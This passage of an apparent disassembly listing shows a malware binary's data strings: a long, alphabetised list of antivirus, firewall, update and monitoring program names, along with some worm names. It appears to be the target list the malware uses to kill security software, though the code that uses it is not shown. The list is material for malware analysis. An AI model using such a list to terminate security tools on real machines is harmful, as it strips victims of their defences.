aNisum_exe	db 'NISUM.EXE',0        ; DATA XREF: ___:00438770o
		align 10h
aNisserv_exe	db 'NISSERV.EXE',0      ; DATA XREF: ___:0043876Co
aNetutils_exe	db 'NETUTILS.EXE',0     ; DATA XREF: ___:00438768o
		align 4
aNetstat_exe	db 'NETSTAT.EXE',0      ; DATA XREF: ___:00438764o
aNetspyhunter1_	db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: ___:00438760o
		align 10h
aNetscanpro_exe	db 'NETSCANPRO.EXE',0   ; DATA XREF: ___:0043875Co
		align 10h
aNetmon_exe	db 'NETMON.EXE',0       ; DATA XREF: ___:00438758o
		align 4
aNetinfo_exe	db 'NETINFO.EXE',0      ; DATA XREF: ___:00438754o
aNetd32_exe	db 'NETD32.EXE',0       ; DATA XREF: ___:00438750o
		align 4
aNetarmor_exe	db 'NETARMOR.EXE',0     ; DATA XREF: ___:0043874Co
		align 4
aNeowatchlog_ex	db 'NEOWATCHLOG.EXE',0  ; DATA XREF: ___:00438748o
aNeomonitor_exe	db 'NEOMONITOR.EXE',0   ; DATA XREF: ___:00438744o
		align 4
aNdd32_exe	db 'NDD32.EXE',0        ; DATA XREF: ___:00438740o
		align 10h
aNcinst4_exe	db 'NCINST4.EXE',0      ; DATA XREF: ___:0043873Co
aNc2000_exe	db 'NC2000.EXE',0       ; DATA XREF: ___:00438738o
		align 4
aNavwnt_exe	db 'NAVWNT.EXE',0       ; DATA XREF: ___:00438734o
		align 4
aNavw32_exe	db 'NAVW32.EXE',0       ; DATA XREF: ___:00438730o
		align 10h
aNavstub_exe	db 'NAVSTUB.EXE',0      ; DATA XREF: ___:0043872Co
aNavnt_exe	db 'NAVNT.EXE',0        ; DATA XREF: ___:00438728o
		align 4
aNavlu32_exe	db 'NAVLU32.EXE',0      ; DATA XREF: ___:00438724o
aNavengnavex15_	db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: ___:00438720o
		align 10h
aNavdx_exe	db 'NAVDX.EXE',0        ; DATA XREF: ___:0043871Co
		align 4
aNavapw32_exe	db 'NAVAPW32.EXE',0     ; DATA XREF: ___:00438718o
		align 4
aNavapsvc_exe	db 'NAVAPSVC.EXE',0     ; DATA XREF: ___:00438714o
		align 4
aNavap_navapsvc	db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: ___:00438710o
		align 10h
aAutoProtect_na	db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: ___:0043870Co
		align 4
aNav_exe	db 'NAV.EXE',0          ; DATA XREF: ___:00438708o
aN32scanw_exe	db 'N32SCANW.EXE',0     ; DATA XREF: ___:00438704o
		align 4
aMwatch_exe	db 'MWATCH.EXE',0       ; DATA XREF: ___:00438700o
		align 10h
aMu0311ad_exe	db 'MU0311AD.EXE',0     ; DATA XREF: ___:004386FCo
		align 10h
aMsvxd_exe	db 'MSVXD.EXE',0        ; DATA XREF: ___:004386F8o
		align 4
aMssys_exe	db 'MSSYS.EXE',0        ; DATA XREF: ___:004386F4o
		align 4
aMssmmc32_exe	db 'MSSMMC32.EXE',0     ; DATA XREF: ___:004386F0o
		align 4
aMsmsgri32_exe	db 'MSMSGRI32.EXE',0    ; DATA XREF: ___:004386ECo
		align 4
aMsmgt_exe	db 'MSMGT.EXE',0        ; DATA XREF: ___:004386E8o
		align 4
aMslaugh_exe	db 'MSLAUGH.EXE',0      ; DATA XREF: ___:004386E4o
aMsinfo32_exe	db 'MSINFO32.EXE',0     ; DATA XREF: ___:004386E0o
		align 10h
aMsiexec16_exe	db 'MSIEXEC16.EXE',0    ; DATA XREF: ___:004386DCo
		align 10h
aMsdos_exe	db 'MSDOS.EXE',0        ; DATA XREF: ___:004386D8o
		align 4
aMsdm_exe	db 'MSDM.EXE',0         ; DATA XREF: ___:004386D4o
		align 4
aMsconfig_exe	db 'MSCONFIG.EXE',0     ; DATA XREF: ___:004386D0o
		align 4
aMscman_exe	db 'MSCMAN.EXE',0       ; DATA XREF: ___:004386CCo
		align 4
aMsccn32_exe	db 'MSCCN32.EXE',0      ; DATA XREF: ___:004386C8o
aMscache_exe	db 'MSCACHE.EXE',0      ; DATA XREF: ___:004386C4o
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: ___:004386C0o
aMsbb_exe	db 'MSBB.EXE',0         ; DATA XREF: ___:004386BCo
		align 4
aMsapp_exe	db 'MSAPP.EXE',0        ; DATA XREF: ___:004386B8o
		align 10h
aMrflux_exe	db 'MRFLUX.EXE',0       ; DATA XREF: ___:004386B4o
		align 4
aMpftray_exe	db 'MPFTRAY.EXE',0      ; DATA XREF: ___:004386B0o
aMpfservice_exe	db 'MPFSERVICE.EXE',0   ; DATA XREF: ___:004386ACo
		align 4
aMpfagent_exe	db 'MPFAGENT.EXE',0     ; DATA XREF: ___:004386A8o
		align 4
aMostat_exe	db 'MOSTAT.EXE',0       ; DATA XREF: ___:004386A4o
		align 4
aMoolive_exe	db 'MOOLIVE.EXE',0      ; DATA XREF: ___:004386A0o
aMonitor_exe	db 'MONITOR.EXE',0      ; DATA XREF: ___:0043869Co
aMmod_exe	db 'MMOD.EXE',0         ; DATA XREF: ___:00438698o
		align 4
aMinilog_exe	db 'MINILOG.EXE',0      ; DATA XREF: ___:00438694o
aMgui_exe	db 'MGUI.EXE',0         ; DATA XREF: ___:00438690o
		align 10h
aMghtml_exe	db 'MGHTML.EXE',0       ; DATA XREF: ___:0043868Co
		align 4
aMgavrte_exe	db 'MGAVRTE.EXE',0      ; DATA XREF: ___:00438688o
aMgavrtcl_exe	db 'MGAVRTCL.EXE',0     ; DATA XREF: ___:00438684o
		align 4
aMfweng3_02d30_	db 'MFWENG3.02D30.EXE',0 ; DATA XREF: ___:00438680o
		align 4
aMfw2en_exe	db 'MFW2EN.EXE',0       ; DATA XREF: ___:0043867Co
		align 4
aMfin32_exe	db 'MFIN32.EXE',0       ; DATA XREF: ___:00438678o
		align 4
aMd_exe		db 'MD.EXE',0           ; DATA XREF: ___:00438674o
		align 4
aMcvsshld_exe	db 'MCVSSHLD.EXE',0     ; DATA XREF: ___:00438670o
		align 4
aMcvsrte_exe	db 'MCVSRTE.EXE',0      ; DATA XREF: ___:0043866Co
aMcupdate_exe	db 'MCUPDATE.EXE',0     ; DATA XREF: ___:00438664o
					; ___:00438668o
		align 4
aMctool_exe	db 'MCTOOL.EXE',0       ; DATA XREF: ___:00438660o
		align 4
aMcshield_exe	db 'MCSHIELD.EXE',0     ; DATA XREF: ___:0043865Co
		align 4
aMcmnhdlr_exe	db 'MCMNHDLR.EXE',0     ; DATA XREF: ___:00438658o
		align 4
aMcagent_exe	db 'MCAGENT.EXE',0      ; DATA XREF: ___:00438654o
aMapisvc32_exe	db 'MAPISVC32.EXE',0    ; DATA XREF: ___:00438650o
		align 10h
aLuspt_exe	db 'LUSPT.EXE',0        ; DATA XREF: ___:0043864Co
		align 4
aLuinit_exe	db 'LUINIT.EXE',0       ; DATA XREF: ___:00438648o
		align 4
aLucomserver_ex	db 'LUCOMSERVER.EXE',0  ; DATA XREF: ___:00438644o
aLuau_exe	db 'LUAU.EXE',0         ; DATA XREF: ___:00438640o
		align 4
aLuall_exe	db 'LUALL.EXE',0        ; DATA XREF: ___:00438638o
					; ___:0043863Co
		align 10h
aLsetup_exe	db 'LSETUP.EXE',0       ; DATA XREF: ___:00438634o
		align 4
aLordpe_exe	db 'LORDPE.EXE',0       ; DATA XREF: ___:00438630o
		align 4
aLookout_exe	db 'LOOKOUT.EXE',0      ; DATA XREF: ___:0043862Co
aLockdown2000_e	db 'LOCKDOWN2000.EXE',0 ; DATA XREF: ___:00438628o
		align 4
aLockdown_exe	db 'LOCKDOWN.EXE',0     ; DATA XREF: ___:00438624o
		align 4
aLocalnet_exe	db 'LOCALNET.EXE',0     ; DATA XREF: ___:00438620o
		align 4
aLoader_exe	db 'LOADER.EXE',0       ; DATA XREF: ___:0043861Co
		align 4
aLnetinfo_exe	db 'LNETINFO.EXE',0     ; DATA XREF: ___:00438618o
		align 4
aLdscan_exe	db 'LDSCAN.EXE',0       ; DATA XREF: ___:00438614o
		align 10h
aLdpromenu_exe	db 'LDPROMENU.EXE',0    ; DATA XREF: ___:00438610o
		align 10h
aLdpro_exe	db 'LDPRO.EXE',0        ; DATA XREF: ___:0043860Co
		align 4
aLdnetmon_exe	db 'LDNETMON.EXE',0     ; DATA XREF: ___:00438608o
		align 4
aLauncher_exe	db 'LAUNCHER.EXE',0     ; DATA XREF: ___:00438604o
		align 4
aKillprocessset	db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: ___:00438600o
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: ___:004385FCo
		align 4
aKerioWrp421EnW	db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: ___:004385F8o
		align 10h
aKerioWrl421EnW	db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: ___:004385F4o
		align 4
aKerioPf213EnWi	db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: ___:004385F0o
aKeenvalue_exe	db 'KEENVALUE.EXE',0    ; DATA XREF: ___:004385ECo
		align 4
aKazza_exe	db 'KAZZA.EXE',0        ; DATA XREF: ___:004385E8o
		align 10h
aKavpf_exe	db 'KAVPF.EXE',0        ; DATA XREF: ___:004385E4o
		align 4
aKavpers40eng_e	db 'KAVPERS40ENG.EXE',0 ; DATA XREF: ___:004385E0o
		align 10h
aKavlite40eng_e	db 'KAVLITE40ENG.EXE',0 ; DATA XREF: ___:004385DCo
		align 4
aJedi_exe	db 'JEDI.EXE',0         ; DATA XREF: ___:004385D8o
		align 10h
aJdbgmrg_exe	db 'JDBGMRG.EXE',0      ; DATA XREF: ___:004385D4o
aJammer_exe	db 'JAMMER.EXE',0       ; DATA XREF: ___:004385D0o
		align 4
aIstsvc_exe	db 'ISTSVC.EXE',0       ; DATA XREF: ___:004385CCo
		align 4
aIsrv95_exe	db 'ISRV95.EXE',0       ; DATA XREF: ___:004385C8o
		align 10h
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: ___:004385C4o
		align 4
aIris_exe	db 'IRIS.EXE',0         ; DATA XREF: ___:004385C0o
		align 4
aIparmor_exe	db 'IPARMOR.EXE',0      ; DATA XREF: ___:004385BCo
aIomon98_exe	db 'IOMON98.EXE',0      ; DATA XREF: ___:004385B8o
aIntren_exe	db 'INTREN.EXE',0       ; DATA XREF: ___:004385B4o
		align 4
aIntdel_exe	db 'INTDEL.EXE',0       ; DATA XREF: ___:004385B0o
		align 4
aInit_exe	db 'INIT.EXE',0         ; DATA XREF: ___:004385ACo
		align 4
aInfwin_exe	db 'INFWIN.EXE',0       ; DATA XREF: ___:004385A8o
		align 10h
aInfus_exe	db 'INFUS.EXE',0        ; DATA XREF: ___:004385A4o
		align 4
aInetlnfo_exe	db 'INETLNFO.EXE',0     ; DATA XREF: ___:004385A0o
		align 4
aIfw2000_exe	db 'IFW2000.EXE',0      ; DATA XREF: ___:0043859Co
aIface_exe	db 'IFACE.EXE',0        ; DATA XREF: ___:00438598o
		align 4
aIexplorer_exe	db 'IEXPLORER.EXE',0    ; DATA XREF: ___:00438594o
		align 4
aIedriver_exe	db 'IEDRIVER.EXE',0     ; DATA XREF: ___:00438590o
		align 4
aIedll_exe	db 'IEDLL.EXE',0        ; DATA XREF: ___:0043858Co
		align 10h
aIdle_exe	db 'IDLE.EXE',0         ; DATA XREF: ___:00438588o
		align 4
aIcsuppnt_exe	db 'ICSUPPNT.EXE',0     ; DATA XREF: ___:00438584o
		align 4
aIcsupp95_exe	db 'ICSUPP95.EXE',0     ; DATA XREF: ___:0043857Co
					; ___:00438580o
		align 4
aIcmon_exe	db 'ICMON.EXE',0        ; DATA XREF: ___:00438578o
		align 4
aIcloadnt_exe	db 'ICLOADNT.EXE',0     ; DATA XREF: ___:00438574o
		align 4
aIcload95_exe	db 'ICLOAD95.EXE',0     ; DATA XREF: ___:00438570o
		align 4
aIbmavsp_exe	db 'IBMAVSP.EXE',0      ; DATA XREF: ___:0043856Co
aIbmasn_exe	db 'IBMASN.EXE',0       ; DATA XREF: ___:00438568o
		align 10h
aIamstats_exe	db 'IAMSTATS.EXE',0     ; DATA XREF: ___:00438564o
		align 10h
aIamserv_exe	db 'IAMSERV.EXE',0      ; DATA XREF: ___:00438560o
aIamapp_exe	db 'IAMAPP.EXE',0       ; DATA XREF: ___:0043855Co
		align 4
aHxiul_exe	db 'HXIUL.EXE',0        ; DATA XREF: ___:00438558o
		align 4
aHxdl_exe	db 'HXDL.EXE',0         ; DATA XREF: ___:00438554o
		align 10h
aHwpe_exe	db 'HWPE.EXE',0         ; DATA XREF: ___:00438550o
		align 4
aHtpatch_exe	db 'HTPATCH.EXE',0      ; DATA XREF: ___:0043854Co
aHtlog_exe	db 'HTLOG.EXE',0        ; DATA XREF: ___:00438548o
		align 4
aHotpatch_exe	db 'HOTPATCH.EXE',0     ; DATA XREF: ___:00438544o
		align 4
aHotactio_exe	db 'HOTACTIO.EXE',0     ; DATA XREF: ___:00438540o
		align 4
aHbsrv_exe	db 'HBSRV.EXE',0        ; DATA XREF: ___:0043853Co
		align 10h
aHbinst_exe	db 'HBINST.EXE',0       ; DATA XREF: ___:00438538o
		align 4
aHacktracersetu	db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: ___:00438534o
aGuarddog_exe	db 'GUARDDOG.EXE',0     ; DATA XREF: ___:00438530o
		align 10h
aGuard_exe	db 'GUARD.EXE',0        ; DATA XREF: ___:0043852Co
		align 4
aGmt_exe	db 'GMT.EXE',0          ; DATA XREF: ___:00438528o
aGenerics_exe	db 'GENERICS.EXE',0     ; DATA XREF: ___:00438524o
		align 4
aGbpoll_exe	db 'GBPOLL.EXE',0       ; DATA XREF: ___:00438520o
		align 10h
aGbmenu_exe	db 'GBMENU.EXE',0       ; DATA XREF: ___:0043851Co
		align 4
aGator_exe	db 'GATOR.EXE',0        ; DATA XREF: ___:00438518o
		align 4
aFsmb32_exe	db 'FSMB32.EXE',0       ; DATA XREF: ___:00438514o
		align 4
aFsma32_exe	db 'FSMA32.EXE',0       ; DATA XREF: ___:00438510o
		align 10h
aFsm32_exe	db 'FSM32.EXE',0        ; DATA XREF: ___:0043850Co
		align 4
aFsgk32_exe	db 'FSGK32.EXE',0       ; DATA XREF: ___:00438508o
		align 4
aFsav95_exe	db 'FSAV95.EXE',0       ; DATA XREF: ___:00438504o
		align 4
aFsav530wtbyb_e	db 'FSAV530WTBYB.EXE',0 ; DATA XREF: ___:00438500o
		align 4
aFsav530stbyb_e	db 'FSAV530STBYB.EXE',0 ; DATA XREF: ___:004384FCo
		align 4
aFsav32_exe	db 'FSAV32.EXE',0       ; DATA XREF: ___:004384F8o
		align 4
aFsav_exe	db 'FSAV.EXE',0         ; DATA XREF: ___:004384F4o
		align 4
aFsaa_exe	db 'FSAA.EXE',0         ; DATA XREF: ___:004384F0o
		align 10h
aFrw_exe	db 'FRW.EXE',0          ; DATA XREF: ___:004384ECo
aFprot_exe	db 'FPROT.EXE',0        ; DATA XREF: ___:004384E8o
		align 4
aFpWin_trial_ex	db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: ___:004384E4o
		align 4
aFpWin_exe	db 'FP-WIN.EXE',0       ; DATA XREF: ___:004384E0o
		align 4
aFnrb32_exe	db 'FNRB32.EXE',0       ; DATA XREF: ___:004384DCo
		align 10h
aFlowprotector_	db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: ___:004384D8o
		align 4
aFirewall_exe	db 'FIREWALL.EXE',0     ; DATA XREF: ___:004384D4o
		align 4
aFindviru_exe	db 'FINDVIRU.EXE',0     ; DATA XREF: ___:004384D0o
		align 4
aFih32_exe	db 'FIH32.EXE',0        ; DATA XREF: ___:004384CCo
		align 10h
aFch32_exe	db 'FCH32.EXE',0        ; DATA XREF: ___:004384C8o
		align 4
aFast_exe	db 'FAST.EXE',0         ; DATA XREF: ___:004384C4o
		align 4
aFameh32_exe	db 'FAMEH32.EXE',0      ; DATA XREF: ___:004384C0o
aFStopw_exe	db 'F-STOPW.EXE',0      ; DATA XREF: ___:004384BCo
aFProt95_exe	db 'F-PROT95.EXE',0     ; DATA XREF: ___:004384B8o
		align 10h
aFProt_exe	db 'F-PROT.EXE',0       ; DATA XREF: ___:004384B4o
		align 4
aFAgnt95_exe	db 'F-AGNT95.EXE',0     ; DATA XREF: ___:004384B0o
		align 4
aExplore_exe	db 'EXPLORE.EXE',0      ; DATA XREF: ___:004384ACo
aExpert_exe	db 'EXPERT.EXE',0       ; DATA XREF: ___:004384A8o
		align 4
aExe_avxw_exe	db 'EXE.AVXW.EXE',0     ; DATA XREF: ___:004384A4o
		align 4
aExantivirusCne	db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: ___:004384A0o
		align 4
aEvpn_exe	db 'EVPN.EXE',0         ; DATA XREF: ___:0043849Co
		align 4
aEtrustcipe_exe	db 'ETRUSTCIPE.EXE',0   ; DATA XREF: ___:00438498o
		align 4
aEthereal_exe	db 'ETHEREAL.EXE',0     ; DATA XREF: ___:00438494o
		align 4
aEspwatch_exe	db 'ESPWATCH.EXE',0     ; DATA XREF: ___:00438490o
		align 4
aEscanv95_exe	db 'ESCANV95.EXE',0     ; DATA XREF: ___:0043848Co
		align 4
aEscanhnt_exe	db 'ESCANHNT.EXE',0     ; DATA XREF: ___:00438488o
		align 4
aEscanh95_exe	db 'ESCANH95.EXE',0     ; DATA XREF: ___:00438484o
		align 4
aEsafe_exe	db 'ESAFE.EXE',0        ; DATA XREF: ___:00438480o
		align 4
aEnt_exe	db 'ENT.EXE',0          ; DATA XREF: ___:0043847Co
aEmsw_exe	db 'EMSW.EXE',0         ; DATA XREF: ___:00438478o
		align 4
aEfpeadm_exe	db 'EFPEADM.EXE',0      ; DATA XREF: ___:00438474o
aEcengine_exe	db 'ECENGINE.EXE',0     ; DATA XREF: ___:00438470o
		align 4
aDvp95_0_exe	db 'DVP95_0.EXE',0      ; DATA XREF: ___:0043846Co
aDvp95_exe	db 'DVP95.EXE',0        ; DATA XREF: ___:00438468o
		align 4
aDssagent_exe	db 'DSSAGENT.EXE',0     ; DATA XREF: ___:00438464o
		align 4
aDrwebupw_exe	db 'DRWEBUPW.EXE',0     ; DATA XREF: ___:00438460o
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: ___:0043845Co
aDrwatson_exe	db 'DRWATSON.EXE',0     ; DATA XREF: ___:00438458o
		align 4
aDpps2_exe	db 'DPPS2.EXE',0        ; DATA XREF: ___:00438454o
		align 4
aDpfsetup_exe	db 'DPFSETUP.EXE',0     ; DATA XREF: ___:00438450o
		align 4
aDpf_exe	db 'DPF.EXE',0          ; DATA XREF: ___:0043844Co
aDoors_exe	db 'DOORS.EXE',0        ; DATA XREF: ___:00438448o
		align 4
aDllreg_exe	db 'DLLREG.EXE',0       ; DATA XREF: ___:00438444o
		align 4
aDllcache_exe	db 'DLLCACHE.EXE',0     ; DATA XREF: ___:00438440o
		align 4
aDivx_exe	db 'DIVX.EXE',0         ; DATA XREF: ___:0043843Co
		align 10h
aDeputy_exe	db 'DEPUTY.EXE',0       ; DATA XREF: ___:00438438o
		align 4
aDefwatch_exe	db 'DEFWATCH.EXE',0     ; DATA XREF: ___:00438434o
		align 4
aDefscangui_exe	db 'DEFSCANGUI.EXE',0   ; DATA XREF: ___:00438430o
		align 4
aDefalert_exe	db 'DEFALERT.EXE',0     ; DATA XREF: ___:0043842Co
		align 4
aDcomx_exe	db 'DCOMX.EXE',0        ; DATA XREF: ___:00438428o
		align 4
aDatemanager_ex	db 'DATEMANAGER.EXE',0  ; DATA XREF: ___:00438424o
aClaw95_exe	db 'Claw95.EXE',0       ; DATA XREF: ___:0043841Co
		align 4
aCwntdwmo_exe	db 'CWNTDWMO.EXE',0     ; DATA XREF: ___:00438418o
		align 4
aCwnb181_exe	db 'CWNB181.EXE',0      ; DATA XREF: ___:00438414o
aCv_exe		db 'CV.EXE',0           ; DATA XREF: ___:00438410o
		align 4
aCtrl_exe	db 'CTRL.EXE',0         ; DATA XREF: ___:0043840Co
		align 4
aCpfnt206_exe	db 'CPFNT206.EXE',0     ; DATA XREF: ___:00438408o
		align 4
aCpf9x206_exe	db 'CPF9X206.EXE',0     ; DATA XREF: ___:00438404o
		align 4
aCpd_exe	db 'CPD.EXE',0          ; DATA XREF: ___:00438400o
aConnectionmoni	db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: ___:004383FCo
		align 4
aCmon016_exe	db 'CMON016.EXE',0      ; DATA XREF: ___:004383F8o
aCmgrdian_exe	db 'CMGRDIAN.EXE',0     ; DATA XREF: ___:004383F4o
		align 10h
aCmesys_exe	db 'CMESYS.EXE',0       ; DATA XREF: ___:004383F0o
		align 4
aCmd32_exe	db 'CMD32.EXE',0        ; DATA XREF: ___:004383ECo
		align 4
aClick_exe	db 'CLICK.EXE',0        ; DATA XREF: ___:004383E8o
		align 4
aCleanpc_exe	db 'CLEANPC.EXE',0      ; DATA XREF: ___:004383E4o
aCleaner3_exe	db 'CLEANER3.EXE',0     ; DATA XREF: ___:004383E0o
		align 10h
aCleaner_exe	db 'CLEANER.EXE',0      ; DATA XREF: ___:004383DCo
aClean_exe	db 'CLEAN.EXE',0        ; DATA XREF: ___:004383D8o
		align 4
aClaw95cf_exe	db 'CLAW95CF.EXE',0     ; DATA XREF: ___:004383D4o
					; ___:00438420o
		align 4
aCfinet32_exe	db 'CFINET32.EXE',0     ; DATA XREF: ___:004383D0o
		align 4
aCfinet_exe	db 'CFINET.EXE',0       ; DATA XREF: ___:004383CCo
		align 4
aCfiaudit_exe	db 'CFIAUDIT.EXE',0     ; DATA XREF: ___:004383C4o
					; ___:004383C8o
		align 4
aCfiadmin_exe	db 'CFIADMIN.EXE',0     ; DATA XREF: ___:004383C0o
		align 4
aCfgwiz_exe	db 'CFGWIZ.EXE',0       ; DATA XREF: ___:004383BCo
		align 10h
aCfd_exe	db 'CFD.EXE',0          ; DATA XREF: ___:004383B8o
aCdp_exe	db 'CDP.EXE',0          ; DATA XREF: ___:004383B4o
aCcpxysvc_exe	db 'CCPXYSVC.EXE',0     ; DATA XREF: ___:004383B0o
		align 10h
aCcevtmgr_exe	db 'CCEVTMGR.EXE',0     ; DATA XREF: ___:004383ACo
		align 10h
aCcapp_exe	db 'CCAPP.EXE',0        ; DATA XREF: ___:004383A8o
		align 4
aBvt_exe	db 'BVT.EXE',0          ; DATA XREF: ___:004383A4o
aBundle_exe	db 'BUNDLE.EXE',0       ; DATA XREF: ___:004383A0o
		align 10h
aBs120_exe	db 'BS120.EXE',0        ; DATA XREF: ___:0043839Co
		align 4
aBrasil_exe	db 'BRASIL.EXE',0       ; DATA XREF: ___:00438398o
		align 4
aBpc_exe	db 'BPC.EXE',0          ; DATA XREF: ___:00438394o
aBorg2_exe	db 'BORG2.EXE',0        ; DATA XREF: ___:00438390o
		align 4
aBootwarn_exe	db 'BOOTWARN.EXE',0     ; DATA XREF: ___:0043838Co
		align 4
aBootconf_exe	db 'BOOTCONF.EXE',0     ; DATA XREF: ___:00438388o
		align 4
aBlss_exe	db 'BLSS.EXE',0         ; DATA XREF: ___:00438384o
		align 4
aBlackice_exe	db 'BLACKICE.EXE',0     ; DATA XREF: ___:00438380o
		align 4
aBlackd_exe	db 'BLACKD.EXE',0       ; DATA XREF: ___:0043837Co
		align 4
aBisp_exe	db 'BISP.EXE',0         ; DATA XREF: ___:00438378o
		align 10h
aBipcpevalsetup	db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: ___:00438374o
		align 4
aBipcp_exe	db 'BIPCP.EXE',0        ; DATA XREF: ___:00438370o
		align 10h
aBidserver_exe	db 'BIDSERVER.EXE',0    ; DATA XREF: ___:0043836Co
		align 10h
aBidef_exe	db 'BIDEF.EXE',0        ; DATA XREF: ___:00438368o
		align 4
aBelt_exe	db 'BELT.EXE',0         ; DATA XREF: ___:00438364o
		align 4
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: ___:00438360o
		align 4
aBd_professiona	db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: ___:0043835Co
aBargains_exe	db 'BARGAINS.EXE',0     ; DATA XREF: ___:00438358o
		align 4
aBackweb_exe	db 'BACKWEB.EXE',0      ; DATA XREF: ___:00438354o
aAvxquar_exe	db 'AVXQUAR.EXE',0      ; DATA XREF: ___:0043834Co
					; ___:00438350o
aAvxmonitornt_e	db 'AVXMONITORNT.EXE',0 ; DATA XREF: ___:00438348o
		align 4
aAvxmonitor9x_e	db 'AVXMONITOR9X.EXE',0 ; DATA XREF: ___:00438344o
		align 4
aAvwupsrv_exe	db 'AVWUPSRV.EXE',0     ; DATA XREF: ___:00438340o
		align 4
aAvwupd32_exe	db 'AVWUPD32.EXE',0     ; DATA XREF: ___:00438338o
					; ___:0043833Co
		align 4
aAvwupd_exe	db 'AVWUPD.EXE',0       ; DATA XREF: ___:00438334o
		align 4
aAvwinnt_exe	db 'AVWINNT.EXE',0      ; DATA XREF: ___:00438330o
aAvwin95_exe	db 'AVWIN95.EXE',0      ; DATA XREF: ___:0043832Co
aAvsynmgr_exe	db 'AVSYNMGR.EXE',0     ; DATA XREF: ___:00438328o
		align 4
aAvsched32_exe	db 'AVSCHED32.EXE',0    ; DATA XREF: ___:00438324o
		align 4
aAvpupd_exe	db 'AVPUPD.EXE',0       ; DATA XREF: ___:0043831Co
					; ___:00438320o
		align 4
aAvptc32_exe	db 'AVPTC32.EXE',0      ; DATA XREF: ___:00438318o
aAvpm_exe	db 'AVPM.EXE',0         ; DATA XREF: ___:00438314o
		align 10h
aAvpdos32_exe	db 'AVPDOS32.EXE',0     ; DATA XREF: ___:00438310o
		align 10h
aAvpcc_exe	db 'AVPCC.EXE',0        ; DATA XREF: ___:0043830Co
		align 4
aAvp32_exe	db 'AVP32.EXE',0        ; DATA XREF: ___:00438308o
		align 4
aAvp_exe	db 'AVP.EXE',0          ; DATA XREF: ___:00438304o
aAvnt_exe	db 'AVNT.EXE',0         ; DATA XREF: ___:00438300o
		align 4
aAvltmain_exe	db 'AVLTMAIN.EXE',0     ; DATA XREF: ___:004382FCo
		align 4
aAvkwctl9_exe	db 'AVKWCTl9.EXE',0     ; DATA XREF: ___:004382F8o
		align 4
aAvkservice_exe	db 'AVKSERVICE.EXE',0   ; DATA XREF: ___:004382F4o
		align 4
aAvkserv_exe	db 'AVKSERV.EXE',0      ; DATA XREF: ___:004382F0o
aAvkpop_exe	db 'AVKPOP.EXE',0       ; DATA XREF: ___:004382ECo
		align 4
aAvgw_exe	db 'AVGW.EXE',0         ; DATA XREF: ___:004382E8o
		align 10h
aAvguard_exe	db 'AVGUARD.EXE',0      ; DATA XREF: ___:004382E4o
aAvgserv9_exe	db 'AVGSERV9.EXE',0     ; DATA XREF: ___:004382E0o
		align 4
aAvgserv_exe	db 'AVGSERV.EXE',0      ; DATA XREF: ___:004382DCo
aAvgnt_exe	db 'AVGNT.EXE',0        ; DATA XREF: ___:004382D8o
		align 4
aAvgctrl_exe	db 'AVGCTRL.EXE',0      ; DATA XREF: ___:004382D4o
aAvgcc32_exe	db 'AVGCC32.EXE',0      ; DATA XREF: ___:004382D0o
aAve32_exe	db 'AVE32.EXE',0        ; DATA XREF: ___:004382CCo
		align 4
aAvconsol_exe	db 'AVCONSOL.EXE',0     ; DATA XREF: ___:004382C8o
		align 4
aAutoupdate_exe	db 'AUTOUPDATE.EXE',0   ; DATA XREF: ___:004382C0o
					; ___:004382C4o
		align 4
aAutotrace_exe	db 'AUTOTRACE.EXE',0    ; DATA XREF: ___:004382B8o
					; ___:004382BCo
		align 4
aAutodown_exe	db 'AUTODOWN.EXE',0     ; DATA XREF: ___:004382B0o
					; ___:004382B4o
		align 4
aAupdate_exe	db 'AUPDATE.EXE',0      ; DATA XREF: ___:004382A8o
					; ___:004382ACo
aAu_exe		db 'AU.EXE',0           ; DATA XREF: ___:004382A4o
		align 4
aAtwatch_exe	db 'ATWATCH.EXE',0      ; DATA XREF: ___:004382A0o
aAtupdater_exe	db 'ATUPDATER.EXE',0    ; DATA XREF: ___:00438298o
					; ___:0043829Co
		align 4
aAtro55en_exe	db 'ATRO55EN.EXE',0     ; DATA XREF: ___:00438294o
		align 4
aAtguard_exe	db 'ATGUARD.EXE',0      ; DATA XREF: ___:00438290o
aAtcon_exe	db 'ATCON.EXE',0        ; DATA XREF: ___:0043828Co
		align 10h
aArr_exe	db 'ARR.EXE',0          ; DATA XREF: ___:00438288o
aApvxdwin_exe	db 'APVXDWIN.EXE',0     ; DATA XREF: ___:00438284o
		align 4
aAplica32_exe	db 'APLICA32.EXE',0     ; DATA XREF: ___:00438280o
		align 4
aApimonitor_exe	db 'APIMONITOR.EXE',0   ; DATA XREF: ___:0043827Co
		align 4
aAnts_exe	db 'ANTS.EXE',0         ; DATA XREF: ___:00438278o
		align 4
aAntivirus_exe	db 'ANTIVIRUS.EXE',0    ; DATA XREF: ___:00438274o
		align 4
aAntiTrojan_exe	db 'ANTI-TROJAN.EXE',0  ; DATA XREF: ___:00438270o
aAmon9x_exe	db 'AMON9X.EXE',0       ; DATA XREF: ___:0043826Co
		align 10h
aAlogserv_exe	db 'ALOGSERV.EXE',0     ; DATA XREF: ___:00438268o
		align 10h
aAlevir_exe	db 'ALEVIR.EXE',0       ; DATA XREF: ___:00438264o
		align 4
aAlertsvc_exe	db 'ALERTSVC.EXE',0     ; DATA XREF: ___:00438260o
		align 4
aAgentw_exe	db 'AGENTW.EXE',0       ; DATA XREF: ___:0043825Co
		align 4
aAgentsvr_exe	db 'AGENTSVR.EXE',0     ; DATA XREF: ___:00438258o
		align 4
